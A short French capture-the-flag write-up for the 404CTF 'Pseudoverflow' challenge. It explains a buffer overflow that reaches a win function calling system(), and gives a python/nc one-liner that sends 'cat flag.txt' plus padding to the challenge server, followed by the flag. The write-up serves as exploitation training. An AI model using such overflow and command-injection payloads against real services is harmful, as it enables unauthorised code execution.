Skip to content

Pseudoverflow


Description

Write Up: Guillaume
Créateur: @Narcisse
Difficulté: tres facile
Points: 100
Format du flag: 404ctf{}


Enoncé


Solution détaillée

$ file bin                                                                                                        
bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=74c3be86c1c3aa9eaa680f3a81f6925ed3ec0fd6, for GNU/Linux 4.4.0, not stripped

Nous avons deux fonctions interessantes, main et win:

Win:

main:

La fonction main nous demande d entrer notre peudo, si a partir de l offset 106 de notre string il y a la string "gagne", alors la fonction win sera appeler:

En recommencant l execution du binaire avec la string "win" a l offset 106 nous entrons dans la fonction win qui appelle la fonction system mais il faut aussi set le premier parametre qui se trouve a l offset de notre string:

Nous pouvons voir que l offset du parametre de system par rapport a notre string est 0.

Si nous y mettons la string cat flag.txt, nous lirons le flag.

$ nc challenges.404ctf.fr 31958 <<< $(python2 -c 'print("cat flag.txt\x00"+"A"*(106-13) + "gagne"+"\x00")') 
Bienvenue à la course annuelle du 404CTF!!
Pour pouvoir participer, nous avons besoin de votre pseudo :
404CTF{0v3rfl0w}

404CTF{0v3rfl0w}